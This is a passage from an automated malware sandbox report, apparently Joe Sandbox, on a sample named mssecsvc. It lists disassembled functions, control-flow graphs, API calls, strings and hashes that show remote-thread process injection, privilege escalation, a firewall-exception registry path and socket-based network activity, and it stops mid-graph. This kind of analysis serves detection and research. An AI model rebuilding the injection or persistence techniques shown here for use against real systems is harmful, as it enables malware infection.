                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Close$ChangeCreateFindHandleNotificationOpenProcessProcess32lstrcpy$FirstModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                                                                                                                                                                • String ID: \BaseNamedObjects\futtVt$\BaseNamedObjects\futtVt$csrs
                                                                                                                                                                • API String ID: 2150474421-3037761503
                                                                                                                                                                • Opcode ID: c5553526d2ecc78f00930ff42470367875ea392a865ce1e0ea2ab7d4d88ae9fe
                                                                                                                                                                • Instruction ID: 16fe15e42659f46b8278139eaee9accf6c72ede5b5db177635c32a737cdc4694
                                                                                                                                                                • Opcode Fuzzy Hash: c5553526d2ecc78f00930ff42470367875ea392a865ce1e0ea2ab7d4d88ae9fe
                                                                                                                                                                • Instruction Fuzzy Hash: 8671AA31601209FFDB65AF10C849FAE3BADEF84711F144128ED099E091C7B59F4ADBA9
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A8252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 207 a8252f-a82573 NtOpenSection
                                                                                                                                                                APIs
                                                                                                                                                                • NtOpenSection.NTDLL(?,0000000E), ref: 00A8255E
                                                                                                                                                                Strings
                                                                                                                                                                • \BaseNamedObjects\futtVt, xrefs: 00A8254B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: OpenSection
                                                                                                                                                                • String ID: \BaseNamedObjects\futtVt
                                                                                                                                                                • API String ID: 1950954290-3096099617
                                                                                                                                                                • Opcode ID: d78bf25e7d60e3ca5bd26387aae6e314818fabfb1d4b2e27edbc6fd945c633ca
                                                                                                                                                                • Instruction ID: be79e926c7ba3cdd2c7dd474d1815d54d5159c487d34c6ebacd093897ac0aaf8
                                                                                                                                                                • Opcode Fuzzy Hash: d78bf25e7d60e3ca5bd26387aae6e314818fabfb1d4b2e27edbc6fd945c633ca
                                                                                                                                                                • Instruction Fuzzy Hash: 75E09AF17402063AFB288A29CC17FA7228DCB80602F0C8604F918DA080E5B4AB108268
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A82574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 208 a82574-a8257c call a8252f 211 a82661-a82664 208->211 212 a82582-a825b4 NtMapViewOfSection FindCloseChangeNotification 208->212 212->211 213 a825ba-a825c0 212->213 214 a825ce-a825d8 213->214 215 a825c2-a825cb 213->215 216 a825da-a825e2 214->216 217 a825ef-a8262a call a82477 * 3 214->217 215->214 216->217 218 a825e4-a825ea call a82477 216->218 226 a8262c-a82632 call a82477 217->226 227 a82637-a8263f 217->227 218->217 226->227 228 a8264c-a82654 227->228 229 a82641-a82647 call a82477 227->229 228->211 232 a82656-a8265c call a82477 228->232 229->228 232->211
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00A8252F: NtOpenSection.NTDLL(?,0000000E), ref: 00A8255E
                                                                                                                                                                • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B700,00000000,?,00000002,00100000,00000040), ref: 00A825A4
                                                                                                                                                                • FindCloseChangeNotification.KERNELBASE(00000000,0000B700,00000000,?,00000002,00100000,00000040,00000000,0000B700,00000000,?,00A80815), ref: 00A825AC
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Section$ChangeCloseFindNotificationOpenView
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1694706092-0
                                                                                                                                                                • Opcode ID: 7bef6bf2a50047ffc7f3cd4018dfe575c0559d17770fc5c6e4c634ed419af6cd
                                                                                                                                                                • Instruction ID: 4177bb84399492089a8201d03adb0213e9cd1a5f65f9b92a07e151d25ca4d41d
                                                                                                                                                                • Opcode Fuzzy Hash: 7bef6bf2a50047ffc7f3cd4018dfe575c0559d17770fc5c6e4c634ed419af6cd
                                                                                                                                                                • Instruction Fuzzy Hash: A4210970301649BBDB28FF65CC56FBA7369EF80744F500128F8198A195EBB1AE14C764
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A81422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 234 a81422-a81474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                                                                                                                                                                APIs
                                                                                                                                                                • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00A8145A
                                                                                                                                                                • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00A8146A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3615134276-0
                                                                                                                                                                • Opcode ID: ec170298e32d3185af39dd161112ec5ba22650fd4e80dab44dc6276389b4c0f8
                                                                                                                                                                • Instruction ID: d6f38f481fcad269b120698a2c1356ff37e0dff7a02be2eff211d383f83c851a
                                                                                                                                                                • Opcode Fuzzy Hash: ec170298e32d3185af39dd161112ec5ba22650fd4e80dab44dc6276389b4c0f8
                                                                                                                                                                • Instruction Fuzzy Hash: F8F0E932542010BBD6201B42CC8EED73E28EF533A0F040455F4484E151C2624BA1D3F4
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A82477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 235 a82477-a824ad NtProtectVirtualMemory NtWriteVirtualMemory
                                                                                                                                                                APIs
                                                                                                                                                                • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 00A8249B
                                                                                                                                                                • NtWriteVirtualMemory.NTDLL ref: 00A824A4
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MemoryVirtual$ProtectWrite
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 151266762-0
                                                                                                                                                                • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                                                                                                • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                                                                                                                                                                • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                                                                                                • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A8144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 236 a8144a-a81474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                                                                                                                                                                APIs
                                                                                                                                                                • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00A8145A
                                                                                                                                                                • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00A8146A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3615134276-0
                                                                                                                                                                • Opcode ID: 516db6a43922e3348a8f3b60dc7b7b81588e67f26302b6e21a5b03875f902ac7
                                                                                                                                                                • Instruction ID: 47fd2fdfef69c01f2383a78087d1294dd7e4f4bd71475d1ca0affc6c0d2f20e2
                                                                                                                                                                • Opcode Fuzzy Hash: 516db6a43922e3348a8f3b60dc7b7b81588e67f26302b6e21a5b03875f902ac7
                                                                                                                                                                • Instruction Fuzzy Hash: 1BD06771643034BBD6312A568C0EEE77D1DEF577A0F015441F9089A1A1C5A28EA1C6F5
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A807AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 129 a807ac-a807bf call a8144a FreeLibrary FindCloseChangeNotification 132 a807c5-a807e4 CreateToolhelp32Snapshot Process32First 129->132 133 a807eb-a807f5 Process32Next 132->133 134 a80865-a80872 CloseHandle 133->134 135 a807f7-a807fb 133->135 137 a805a9-a805d1 FindCloseChangeNotification 134->137 135->133 136 a807fd-a8080d OpenProcess 135->136 136->133 138 a8080f 136->138 141 a805d3-a805fc SetProcessAffinityMask call a805f2 137->141 140 a80810-a80818 call a82574 138->140 146 a8081a-a80820 140->146 147 a8085c-a80863 FindCloseChangeNotification 140->147 148 a805fe-a8061c 141->148 149 a80621-a80630 141->149 146->147 150 a80822-a80832 146->150 147->133 148->149 151 a80639-a80652 149->151 152 a80632 149->152 150->147 153 a80834-a8084b CreateRemoteThread 150->153 151->137 154 a80658-a80671 151->154 152->151 153->147 155 a8084d-a80857 call a805ba 153->155 154->137 156 a80677-a80690 154->156 155->147 156->137 158 a80696-a8069c 156->158 159 a806d8-a806de 158->159 160 a8069e-a806b1 158->160 161 a806fc-a80715 lstrcpyW call a824ae 159->161 162 a806e0-a806f3 159->162 160->137 163 a806b7-a806bd 160->163 168 a8074c-a80775 NtMapViewOfSection 161->168 169 a80717-a80746 GetPEB lstrcpyW lstrcatW call a824ae 161->169 162->161 164 a806f5 162->164 163->159 166 a806bf-a806d2 163->166 164->161 166->137 166->159 168->137 171 a8077b-a8078f call a80305 NtOpenProcessToken 168->171 169->137 169->168 171->132 175 a80791-a807a3 call a8115d call a807ac 171->175 180 a8080e-a8080f 175->180 181 a807a5 175->181 180->140 181->140 182 a807a7-a807e4 CreateToolhelp32Snapshot Process32First 181->182 182->133
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00A8144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00A8145A
                                                                                                                                                                  • Part of subcall function 00A8144A: NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00A8146A
                                                                                                                                                                • FindCloseChangeNotification.KERNELBASE(?), ref: 00A805AD
                                                                                                                                                                • FreeLibrary.KERNEL32(745B0000,?,00A8079B,00000000,00007700,00000000,?,00000002,00000000,00000040,00000000,00007700), ref: 00A807B8
                                                                                                                                                                • FindCloseChangeNotification.KERNELBASE(?,?,00A8079B,00000000,00007700,00000000,?,00000002,00000000,00000040,00000000,00007700), ref: 00A807BF
                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A807C9
                                                                                                                                                                • Process32First.KERNEL32 ref: 00A807DC
                                                                                                                                                                • Process32Next.KERNEL32 ref: 00A807ED
                                                                                                                                                                • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 00A80805
                                                                                                                                                                • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003BD0,00000002,00000000), ref: 00A80842
                                                                                                                                                                • FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 00A8085D
                                                                                                                                                                • CloseHandle.KERNEL32 ref: 00A8086C
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Close$ChangeFindNotification$CreateProcess32$AdjustFirstFreeHandleLibraryLookupNextOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                                                                                                                                                                • String ID: csrs
                                                                                                                                                                • API String ID: 924698679-2321902090
                                                                                                                                                                • Opcode ID: 03109fa9cc39d2e668dbedbbabd590162974cef3190caa756b4f7f3c789e491e
                                                                                                                                                                • Instruction ID: 0d60605d67bdc0693d01a8eda7e55557dcfa26a0ae96d40acdf5db2fe29cbd02
                                                                                                                                                                • Opcode Fuzzy Hash: 03109fa9cc39d2e668dbedbbabd590162974cef3190caa756b4f7f3c789e491e
                                                                                                                                                                • Instruction Fuzzy Hash: 23112B30606205FBEB657F21CD49FBF3A6DEF44701F00002DFD4A9A091DAB49A459BAA
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 7FEA43D8 Relevance: 7.6, APIs: 5, Instructions: 83fileCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 184 7fea43d8-7fea43e0 185 7fea43e2-7fea43ec GetFileAttributesA 184->185 186 7fea4407-7fea4443 CreateFileA 184->186 185->186 187 7fea43ee-7fea43ff SetFileAttributesA 185->187 193 7fea4466-7fea448c 186->193 194 7fea4445-7fea445e 186->194 187->186 189 7fea4401 187->189 189->186 199 7fea448e-7fea4495 193->199 200 7fea4497-7fea44c1 CreateFileMappingA 193->200 194->193 198 7fea4460 194->198 198->193 199->200 203 7fea44cc-7fea44e1 MapViewOfFile 200->203 204 7fea44c3-7fea44ca 200->204 206 7fea44e7-7fea44ed 203->206 204->203
                                                                                                                                                                APIs
                                                                                                                                                                • GetFileAttributesA.KERNELBASE(?,65676E61,?,?,7FEA4345,?,7FEA4327,?,7FEA4303), ref: 7FEA43E3
                                                                                                                                                                • SetFileAttributesA.KERNELBASE(?,00000000,?,65676E61,?,?,7FEA4345,?,7FEA4327,?,7FEA4303), ref: 7FEA43F7
                                                                                                                                                                • CreateFileA.KERNELBASE(?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61,?,?,7FEA4345,?,7FEA4327,?,7FEA4303), ref: 7FEA442C
                                                                                                                                                                • CreateFileMappingA.KERNEL32(?,00000000,00000004,00000000,00000000,00000000,?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61), ref: 7FEA44A4
                                                                                                                                                                • MapViewOfFile.KERNELBASE(00000000,000F001F,00000000,00000000,00000000,?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61), ref: 7FEA44D9
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$AttributesCreate$MappingView
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1961427682-0
                                                                                                                                                                • Opcode ID: a25d0a244bd87399e907a8ca4fb165620c37478fabe61e369b42e3abbdd64840
                                                                                                                                                                • Instruction ID: f642a9f299f9543a5b0287ba49c011da509250de9aef83acac8e8c1155f8e25e
                                                                                                                                                                • Opcode Fuzzy Hash: a25d0a244bd87399e907a8ca4fb165620c37478fabe61e369b42e3abbdd64840
                                                                                                                                                                • Instruction Fuzzy Hash: 6C21327020430ABAEB229E60CC45BFE356DEF00619F104629E91B9E0A4E7F2AF158754
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A805BA Relevance: 1.3, APIs: 1, Instructions: 7sleepCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 237 a805ba-a805bd 238 a805c9 237->238 239 a805bf-a805c7 Sleep 237->239 239->237
                                                                                                                                                                APIs
                                                                                                                                                                • Sleep.KERNELBASE(0000000A,00A8085C,?,00000000,00000000,-00003BD0,00000002,00000000,?,00000000), ref: 00A805C1
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Sleep
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3472027048-0
                                                                                                                                                                • Opcode ID: 3c1f989dfd13240381299ec7adf5382b251643946d8aa86ca05208ab7bb78418
                                                                                                                                                                • Instruction ID: 6cce9674ac59e977b23a1ea1af699abfc9a262840fa260ff6c3bb9bfc79cf7c8
                                                                                                                                                                • Opcode Fuzzy Hash: 3c1f989dfd13240381299ec7adf5382b251643946d8aa86ca05208ab7bb78418
                                                                                                                                                                • Instruction Fuzzy Hash: 18B01238241300D5EB5C2910440DF041A347F00B11FE04059E2064C0C007E407041E29
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Non-executed Functions

                                                                                                                                                                Function 7FEA3BD5 Relevance: 40.7, APIs: 19, Strings: 4, Instructions: 472libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 245 7fea3bd5-7fea3bf1 246 7fea3bf3-7fea3bfb 245->246 247 7fea3c41-7fea3c4b call 7fea252f 245->247 249 7fea3bfc-7fea3bff 246->249 255 7fea3c4d-7fea3c74 call 7fea3c5a call 7fea26d4 GetProcAddress 247->255 256 7fea3c93-7fea3cbd GetSystemDirectoryA call 7fea3cb7 247->256 250 7fea3c2b 249->250 251 7fea3c01-7fea3c06 249->251 250->249 254 7fea3c2d-7fea3c3f GetWindowsDirectoryA 250->254 251->250 253 7fea3c08-7fea3c29 251->253 253->250 258 7fea3cbe-7fea3d58 call 7fea3cce GetProcAddress LoadLibraryA call 7fea10ce call 7fea01cb GetTickCount call 7fea3b0e 254->258 268 7fea3c78-7fea3c92 call 7fea3c88 255->268 269 7fea3c76 255->269 256->258 277 7fea3d5a 258->277 278 7fea3d60-7fea3d65 call 7fea3b0e 258->278 268->256 269->268 277->278 281 7fea3d67-7fea3d7e 278->281 282 7fea3d80-7fea3d90 call 7fea62df call 7fea273c 281->282 287 7fea3d92-7fea3d94 282->287 288 7fea3d96-7fea3db2 call 7fea62df 282->288 290 7fea3db3-7fea3db4 287->290 288->290 290->282 292 7fea3db6-7fea3dbc 290->292 292->281 293 7fea3dbe-7fea3dc8 call 7fea273c 292->293 296 7fea3dca-7fea3dd2 call 7fea2750 293->296 297 7fea3dd7-7fea3e10 call 7fea273c GetVolumeInformationA 293->297 296->297 301 7fea3e1a-7fea3e20 297->301 302 7fea3e12-7fea3e18 297->302 303 7fea3e29-7fea3e36 301->303 304 7fea3e22 301->304 302->303 305 7fea3e3c-7fea3e60 call 7fea3e4d 303->305 306 7fea3ebd 303->306 304->303 307 7fea3ec7 305->307 315 7fea3e62-7fea3e68 305->315 306->307 309 7fea3ec9-7fea3ee1 CreateThread CloseHandle 307->309 310 7fea3ee7-7fea3f54 call 7fea3ef8 call 7fea10ce call 7fea3f27 call 7fea10ce 307->310 309->310 329 7fea3f5a-7fea3f9d WSAStartup CreateThread CloseHandle CreateEventA 310->329 330 7fea425f-7fea4261 RtlExitUserThread 310->330 317 7fea3e6a-7fea3e6f 315->317 318 7fea3e91-7fea3ea5 315->318 320 7fea3e98-7fea3ea5 317->320 321 7fea3e71-7fea3e90 317->321 323 7fea3eac-7fea3eb6 318->323 320->323 321->318 323->306 325 7fea3eb8 call 7fea339d 323->325 325->306 331 7fea3fa3-7fea3fbb call 7fea3792 329->331 334 7fea3fbd-7fea3fc0 331->334 335 7fea3fc2-7fea3fd5 call 7fea3b28 331->335 334->335 336 7fea3fdd-7fea3fe5 334->336 343 7fea3fdb 335->343 344 7fea420d-7fea4214 335->344 338 7fea3ff6-7fea3fff gethostbyname 336->338 339 7fea3fe7-7fea3ff4 lstrlen 336->339 341 7fea4254-7fea425a 338->341 342 7fea4005-7fea400c 338->342 339->338 339->339 341->331 346 7fea4012-7fea4031 socket 342->346 343->346 344->330 345 7fea4216-7fea421d 344->345 347 7fea421f-7fea422b SetEvent 345->347 348 7fea4231-7fea424f Sleep ResetEvent 345->348 346->344 349 7fea4037-7fea404a connect 346->349 347->348 348->331 350 7fea4050-7fea4129 call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea32f0 call 7fea4109 wsprintfA call 7fea32f0 349->350 351 7fea4206-7fea4207 closesocket 349->351 366 7fea412b-7fea4141 CreateThread CloseHandle 350->366 367 7fea4147 350->367 351->344 366->367 368 7fea414d-7fea4163 367->368 368->351 370 7fea4169-7fea416b 368->370 371 7fea416d-7fea4185 370->371 372 7fea418a-7fea4192 371->372 373 7fea4187 371->373 372->371 374 7fea4194 372->374 373->372 375 7fea419a-7fea419e 374->375 376 7fea41b0-7fea41b2 375->376 377 7fea41a0-7fea41a7 call 7fea2f08 375->377 379 7fea41b4-7fea41be 376->379 377->351 383 7fea41a9 377->383 380 7fea41c3-7fea41d1 call 7fea6480 call 7fea649a 379->380 380->368 388 7fea41d7-7fea41e1 Sleep 380->388 383->379 385 7fea41ab-7fea41ae 383->385 385->375 388->380 389 7fea41e3-7fea41f4 GetTickCount 388->389 389->368 390 7fea41fa-7fea4201 389->390 390->351 390->368
                                                                                                                                                                APIs
                                                                                                                                                                • GetWindowsDirectoryA.KERNEL32(C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe,00000104), ref: 7FEA3C39
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00000002), ref: 7FEA3C6C
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,7FEA3CD9), ref: 7FEA3CE4
                                                                                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3CF7
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 7FEA3D2B
                                                                                                                                                                • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6E36,00000000,00000000,00000000,00000000), ref: 7FEA3DFD
                                                                                                                                                                Strings
                                                                                                                                                                • C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe, xrefs: 7FEA3C38, 7FEA3C9E, 7FEA3CAE, 7FEA4119, 7FEA4158
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 7FEA3CF6
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3EA4
                                                                                                                                                                • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA4157
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.558930519.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressProc$CountDirectoryInformationLibraryLoadTickVolumeWindows
                                                                                                                                                                • String ID: ADVAPI32.DLL$C:\Program Files (x86)\MoDipGwdISQcvgKdFfRlUSgoJWMmGRwKNupmBQovRMDGf\mgtBDggvAingBBiEjuGdtVubG.exe$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                                                                                                                                                                • API String ID: 3969011833-3386162911
                                                                                                                                                                • Opcode ID: 6fec74ca2565ad77cf16187e820aa09f4f743d7765ef450cb713a8fe50d10e2c
                                                                                                                                                                • Instruction ID: 9aca7d3b7fb460b858eaf3e0e80c99dd93525a92ac7923124c4fd82c469f76f2
                                                                                                                                                                • Opcode Fuzzy Hash: 6fec74ca2565ad77cf16187e820aa09f4f743d7765ef450cb713a8fe50d10e2c
                                                                                                                                                                • Instruction Fuzzy Hash: 36F1E571519348BEDB229F24CC4ABFA7BACEF42304F00451AE8559F081DBF66F0597A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A83BD5 Relevance: 39.0, APIs: 19, Strings: 3, Instructions: 472libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 391 a83bd5-a83bf1 392 a83c41-a83c4b call a8252f 391->392 393 a83bf3-a83bfb 391->393 401 a83c4d-a83c66 call a83c5a 392->401 402 a83c93-a83cdb GetSystemDirectoryA call a83cb7 392->402 394 a83bfc-a83bff 393->394 396 a83c2b 394->396 397 a83c01-a83c06 394->397 396->394 400 a83c2d-a83cdb GetWindowsDirectoryA call a83cce 396->400 397->396 399 a83c08-a83c29 397->399 399->396 411 a83cdd-a83d58 GetProcAddress LoadLibraryA call a810ce call a801cb GetTickCount call a83b0e 400->411 409 a83c6c-a83c74 GetProcAddress 401->409 410 a83c67 call a826d4 401->410 402->411 413 a83c78-a83cdb call a83c88 409->413 414 a83c76 409->414 410->409 423 a83d5a 411->423 424 a83d60-a83d65 call a83b0e 411->424 413->411 414->413 423->424 427 a83d67-a83d7e 424->427 428 a83d80-a83d90 call a862df call a8273c 427->428 433 a83d92-a83d94 428->433 434 a83d96-a83db2 call a862df 428->434 436 a83db3-a83db4 433->436 434->436 436->428 437 a83db6-a83dbc 436->437 437->427 439 a83dbe-a83dc8 call a8273c 437->439 442 a83dca-a83dd2 call a82750 439->442 443 a83dd7-a83e10 call a8273c GetVolumeInformationA 439->443 442->443 447 a83e1a-a83e20 443->447 448 a83e12-a83e18 443->448 449 a83e29-a83e36 447->449 450 a83e22 447->450 448->449 451 a83e3c-a83e60 call a83e4d 449->451 452 a83ebd 449->452 450->449 453 a83ec7 451->453 461 a83e62-a83e68 451->461 452->453 455 a83ec9-a83ee1 CreateThread CloseHandle 453->455 456 a83ee7-a83f54 call a83ef8 call a810ce call a83f27 call a810ce 453->456 455->456 475 a83f5a-a83f9d WSAStartup CreateThread CloseHandle CreateEventA 456->475 476 a8425f-a84261 RtlExitUserThread 456->476 462 a83e6a-a83e6f 461->462 463 a83e91-a83ea5 461->463 465 a83e98-a83ea5 462->465 466 a83e71-a83e90 462->466 468 a83eac-a83eb6 463->468 465->468 466->463 468->452 471 a83eb8 call a8339d 468->471 471->452 477 a83fa3-a83fbb call a83792 475->477 480 a83fbd-a83fc0 477->480 481 a83fc2-a83fd5 call a83b28 477->481 480->481 482 a83fdd-a83fe5 480->482 489 a83fdb 481->489 490 a8420d-a84214 481->490 484 a83ff6-a83fff gethostbyname 482->484 485 a83fe7-a83ff4 